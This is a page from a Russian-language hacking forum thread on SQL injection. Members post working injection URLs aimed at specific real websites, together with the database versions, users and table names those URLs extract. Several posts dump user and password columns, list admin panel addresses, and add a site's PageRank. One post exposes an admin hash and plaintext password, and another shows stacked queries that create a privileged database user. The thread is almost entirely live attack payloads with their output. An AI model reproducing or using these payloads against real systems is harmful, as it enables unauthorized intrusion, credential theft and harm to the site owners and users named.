SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. HellFire

    HellFire Elder - Старейшина

    Joined:
    18 Jan 2009
    Messages:
    98
    Likes Received:
    78
    Reputations:
    40
    Немецкая газетенка:

    Code:
    http://www.atlantic-times.com/archive_detail.php?recordID=1-0.1+UNION+SELECT+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),6,7,8,9-- 
    Database Version: 5.5.8
    Database name: content
    User name: content@localhost
     
  2. LiRvD082

    LiRvD082 Member

    Joined:
    4 Oct 2009
    Messages:
    44
    Likes Received:
    16
    Reputations:
    5
    user=postgres
    version()=PostgreSQL 8.3.11 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
    current_database()=bb
    inet_server_addr()=

    Создаём нового пользователя:

    id=27;CREATE USER hacker PASSWORD 'mypass';

    Даём юзеру права на создание новых БД и новых пользователей:

    id=27;ALTER USER test1 CREATEUSER CREATEDB;

    http://cat.rusbic.ru/?id=76;CREATE TABLE аааа (b text);

     
    #13642 LiRvD082, 14 Mar 2011
    Last edited: 14 Mar 2011
    3 people like this.
  3. stasiliy

    stasiliy New Member

    Joined:
    26 Sep 2009
    Messages:
    27
    Likes Received:
    2
    Reputations:
    1
    http://pcboards.ru/show.php?dev=109+order+by+13
     
  4. asql

    asql New Member

    Joined:
    19 Feb 2011
    Messages:
    32
    Likes Received:
    0
    Reputations:
    -3
    http://www.freehands.ru/game.php?set_phone_model=-148+union+select+null,null,group_concat(table_name+separator+0x3a)+from+information_schema.tables--
     
  5. noviyuser

    noviyuser Member

    Joined:
    18 Nov 2010
    Messages:
    645
    Likes Received:
    18
    Reputations:
    6
    клац

    http://forum.antichat.ru/showthread.php?p=2596026#post2596026
     
    #13645 noviyuser, 15 Mar 2011
    Last edited: 15 Mar 2011
    1 person likes this.
  6. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://www.aist-climat.ru/catalog/list/?id=-6349%20and%201=2%20union%20select%201,concat_ws(char(58),@@version,user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+--

    4.1.25-log cms5ru69_aist@localhost cms5ru69_aist
     
  7. asql

    asql New Member

    Joined:
    19 Feb 2011
    Messages:
    32
    Likes Received:
    0
    Reputations:
    -3
    http://www.texe.com/view.php?page=-34+union+select+1,group_concat(table_name+separator+0x3a),3,4,5+from+information_schema.tables--

    http://www.pandora.biz.ua/index.php?p=-35+union+select+1,2,group_concat(concat_ws(0x3a3a3a,cat_id,root_cat,name_cat,descr,sh_descr,img,por)+separator+0x2a2a2a)+from+category--
     
    #13647 asql, 15 Mar 2011
    Last edited: 15 Mar 2011
  8. Фараон

    Фараон коКотэ Of Antichat

    Joined:
    7 Nov 2010
    Messages:
    153
    Likes Received:
    105
    Reputations:
    83
    http://thomasdane.myzen.co.uk/artist.php?artist_id=-9%20union%20select%201,2,3,version(),5+--+
     
  9. Compton

    Compton Member

    Joined:
    31 Jan 2010
    Messages:
    290
    Likes Received:
    25
    Reputations:
    0
    Code:
    http://www.saittrojans.com/teams/schedule.html?sportID=-3+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,group_concat(table_name)+from+information_schema.tables--
    
    5 ветка
     
  10. bloodAngel

    bloodAngel Banned

    Joined:
    29 Jun 2007
    Messages:
    22
    Likes Received:
    25
    Reputations:
    -1
    Code:
    http://www.mtosmt.org/mto-announce.php?id=-74+union+select+1,group_concat%28table_name%29,3,4,5+from+information_schema.tables--
    5.1.33-log / mtoadmin_db

    Code:
    http://www.go-whippet.co.uk/announce.php?id=1%20or%281,2%29=%28select*from%28select%20name_const%28version%28%29,1%29,name_const%28version%28%29,1%29%29a%29
    '5.0.77'
     
  11. m0r0

    m0r0 New Member

    Joined:
    15 Mar 2011
    Messages:
    5
    Likes Received:
    2
    Reputations:
    4
    http://www.leoalexander.co.uk/index.asp?id=11+and+1=0+union+all+select+1,2,3,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,5,6,7+--+

    Результаты в тайтле страницы.

    Удалось подобрать таблицу users (id, email, country). Парольного поля подобрать не получилось. В таблице данные 338 пользователей.
     
  12. asql

    asql New Member

    Joined:
    19 Feb 2011
    Messages:
    32
    Likes Received:
    0
    Reputations:
    -3
    Вот прикольная инъекция :)
    http://kapitoshka.lg.ua/gallery.php?page=2&section=99999+union+select+version()--
    догадайтесь где версия!)
     
  13. bloodAngel

    bloodAngel Banned

    Joined:
    29 Jun 2007
    Messages:
    22
    Likes Received:
    25
    Reputations:
    -1
    " href="pictures/gallery/5.0.51a-24+lenny5-log.jpg">"


    Code:
    http://www.globalalliancepr.org/event.php?id=-8+union+select+concat%28version%28%29,0x3a,database%28%29,0x3a,user%28%29%29
    4.1.22:global_geral:global_geraladm@localhost
     
    #13653 bloodAngel, 18 Mar 2011
    Last edited: 18 Mar 2011
  14. A_n_d_r_e_i

    A_n_d_r_e_i Active Member

    Joined:
    2 Sep 2009
    Messages:
    175
    Likes Received:
    250
    Reputations:
    27
    http://www.santaspen.net/content.php?id=-9+union+select+1,2,group_concat(0x3a3a,id_usr,email_usr,0x3a3a,password_usr),4,5+from+users_usr+--
    Админка: http://www.santaspen.net/admin/index.php
    Google PageRank (PR): 3
    -----
    http://www.flatsminsk.com/info.php?id=-9+union+select+1,2,3,4,5,6,7,8,9,10,11,@@version,13+--
    Админка: http://www.flatsminsk.com/admin/index.php
    Тиц: 30
    -----
    http://rakurs.rovno.ua/info.php?id=-182+union+select+1,2,3,4,5,6,@@version,8,9,10,11,12,13,14+--
    Тиц: 20
    Google PageRank (PR): 2
    -----
    http://www.harrisinstitute.com/site/page.php?id=103+union+select+1,2,group_concat(username,password,0x3a3a),4,5,6,7,8,9,10+from+tbl_users+--
    Админка: http://www.harrisinstitute.com/admin
    Google PageRank (PR): 4
    Admin:b75054364c277adfdca606e3300413a8:purples0177
     
    #13654 A_n_d_r_e_i, 18 Mar 2011
    Last edited: 18 Mar 2011
  15. FlaktW

    FlaktW Elder - Старейшина

    Joined:
    19 Aug 2009
    Messages:
    500
    Likes Received:
    33
    Reputations:
    12
    http://teachers.yale.edu/curriculum/search/viewer.php?id=-initiative_09.01.01_u'+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),6,7,8,9,10,11,12+--+

    5.0.77-log:res_teachers1:res_teachers@192.168.101.195:redhat-linux-gnu

    Google PageRank (PR): 6
     
  16. good.god

    good.god Member

    Joined:
    23 Nov 2009
    Messages:
    260
    Likes Received:
    32
    Reputations:
    0
    Code:
    http://www.superav.com/fr/details_final.php?productID=-1+union+select+1,2,group_concat(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37
    5.0.91-community:superav_MyMovie@localhost:superav_movie
    вывод в титле.
     
  17. FlaktW

    FlaktW Elder - Старейшина

    Joined:
    19 Aug 2009
    Messages:
    500
    Likes Received:
    33
    Reputations:
    12
    http://www.nypdangels.com/cop/cop.php?id=-159+and+(select*from(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+concat_ws(0x3a,user(),@@version_compile_os)+from+INFORMATION_SCHEMA.TABLES+limit+1,1),1,64),floor(rand(0)*2)))z)+--+

    5.0.91-log:nypdange_angels:nypdange_deespc@boscgi0102.eigbox.net:unknown-linux-gnu
     
  18. FlaktW

    FlaktW Elder - Старейшина

    Joined:
    19 Aug 2009
    Messages:
    500
    Likes Received:
    33
    Reputations:
    12
    http://www.melges.com/?p=news&id=-1074+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os)+--+


    5.0.77-log:409707_melges:409707_melges@172.17.3.93:redhat-linux-gnu

    ТИЦ: 10
    Google PageRank (PR): 4
     
  19. DJ4J

    DJ4J Member

    Joined:
    23 Aug 2009
    Messages:
    2
    Likes Received:
    53
    Reputations:
    1
    Моя первая инъекция :)
    Code:
    http://www.magadangorod.ru/index.php?do=form&id=-1+union+select+1,2,3,4,5,6,7,8,9,concat%28version%28%29%29,10%20--
    5.0.92-community-log
    ТИЦ 210
    PR 5
     
    #13659 DJ4J, 20 Mar 2011
    Last edited: 20 Mar 2011
    4 people like this.
  20. DJ4J

    DJ4J Member

    Joined:
    23 Aug 2009
    Messages:
    2
    Likes Received:
    53
    Reputations:
    1
    Code:
    http://www.korkinskoe.ru/index.php?page_id=-1+union+se lect+1,2,3,4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,concat(username,0x3a,password),19,20,21,22+from+korkino_users
    Вывод в тайтле.
    5 ветка.
    Админка:
    http://www.korkinskoe.ru/admin/

    тиц 10
     
    #13660 DJ4J, 20 Mar 2011
    Last edited: 20 Mar 2011
Loading...
Thread Status:
Not open for further replies.